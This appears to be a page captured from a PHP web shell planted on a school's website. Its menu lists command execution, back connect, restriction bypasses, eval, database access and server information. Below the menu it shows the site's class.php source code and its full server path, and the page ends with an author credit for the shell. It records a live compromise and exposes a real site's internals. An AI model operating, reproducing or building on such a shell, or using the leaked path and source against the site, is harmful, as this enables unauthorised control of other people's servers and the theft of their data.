File Manger -- Command Execute -- Back Connect -- BypasS Command eXecute(SF-DF) -- BypasS Directory -- Eval -- Data Base -- Server Information
File Name : /home/no2airforceschoo/domains/no2airforceschoolgwl.com/public_html/class.php<?php include("admin/dlogin.php"); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <head><title>Class No.2 Air Force School</title> <meta charset="UTF-8"> <meta name="description" content="Class No.2 Air Force School"> <meta name="keywords" content="Class No.2 Air Force School"> <link rel="stylesheet" id="style-css" href="images/style.css" type="text/css" media="screen" /> <script type="text/javascript" src="js/jquery1.min.js"></script> <!-- start menu --> <!--start slider --> <link rel="stylesheet" href="css/fwslider.css" media="all"> <script src="js/jquery-ui.min.js"></script> <script src="js/css3-mediaqueries.js"></script> <script src="js/fwslider.js"></script> </head> <body> <div> <div class="MainBody"> <div class="maindiv"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td><?php include ("header.php"); ?></td> </tr> <tr> <td><table width="100%" border="0" cellpadding="0" cellspacing="0" class="maintable" align="center"> <tr> <td align="center"><table width="100%" border="0" cellspacing="0" cellpadding="0" class="maintablebg"> <tr> <td valign="top"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="70%" valign="top"><table width="100%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td height="5"></td> </tr> <tr> <td class="welhead">Our Class </td> </tr> <tr> <td class="menu_down_line"></td> </tr> <tr> <td height="10"></td> </tr> <tr> <td><?php if (isset($_GET['pageno'])) { $pageno = $_GET['pageno']; } else { $pageno = 1; } // if $query = "SELECT count(*) FROM class"; $result = mysqli_query($conn, $query); $query_data = mysqli_fetch_row($result); $numrows = $query_data[0]; $rows_per_page = 100; $lastpage = ceil($numrows/$rows_per_page); $pageno = (int)$pageno; if ($pageno > $lastpage) { $pageno = $lastpage; } // if if ($pageno < 1) { $pageno = 1; } // if $limit = 'LIMIT ' .($pageno - 1) * $rows_per_page .',' .$rows_per_page; $find_data2 = mysqli_query($conn, "SELECT * from class order by classname Asc $limit"); $num_result2 = mysqli_num_rows($find_data2); if($num_result2 > 0){ while ($result2 = mysqli_fetch_array($find_data2)) { $data2[] = $result2; } $data2 = array_chunk($data2, 1); echo '<table width= border=0 cellspacing=0 cellpadding=5 class=prodetail>'; foreach ($data2 as $row) { echo'<tr>'; foreach ($row as $column) { $classid=@$column['classid']; $classname=@$column['classname']; $classphoto=@$column['classphoto']; print '<td valign=top class=imgprobor> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr><td valign="left" class="data"><a href="classdetail.php?classid=' . $classid . '"><strong>' . $classname . '</strong></a></td> </tr> <tr><td height="10"></td></tr>';?> <?php if(!empty($classphoto)){ ?> <?php print ' <tr> <td align="left" valign="top"><a href="classdetail.php?classid=' . $classid . '"><img src="class/' . $classphoto . '" width="100%" class="img1" border="0" align="left" /></a></td></tr>';?> <?php }?> <?php print '</table></td>'; } echo '</tr>'; } echo '</table>'; ?> <?php }else{ ?> <table width="100%"> <tr> <td align="center"><p><strong>No result</strong></p></td> </tr> </table> <?php } ?> </td> </tr> <tr> <td height="20"></td> </tr> <tr> <td class="data"> </td> </tr> </table></td> <td width="30%" align="center" valign="top"><table width="98%" border="0" align="right" cellpadding="0" cellspacing="0"> <tr> <td><?php include("rightsidebar.php")?></td> </tr> </table></td> </tr> </table></td> </tr> <tr> <td height="10" valign="top"></td> </tr> <tr> <td><?php include ("footer.php"); ?></td> </tr> </table></td> </tr> </table></td> </tr> <tr> <td height="10" valign="top"></td> </tr> </table> </div> </div> </body> </html>
Coded by Amin Shokohi (Pejvak)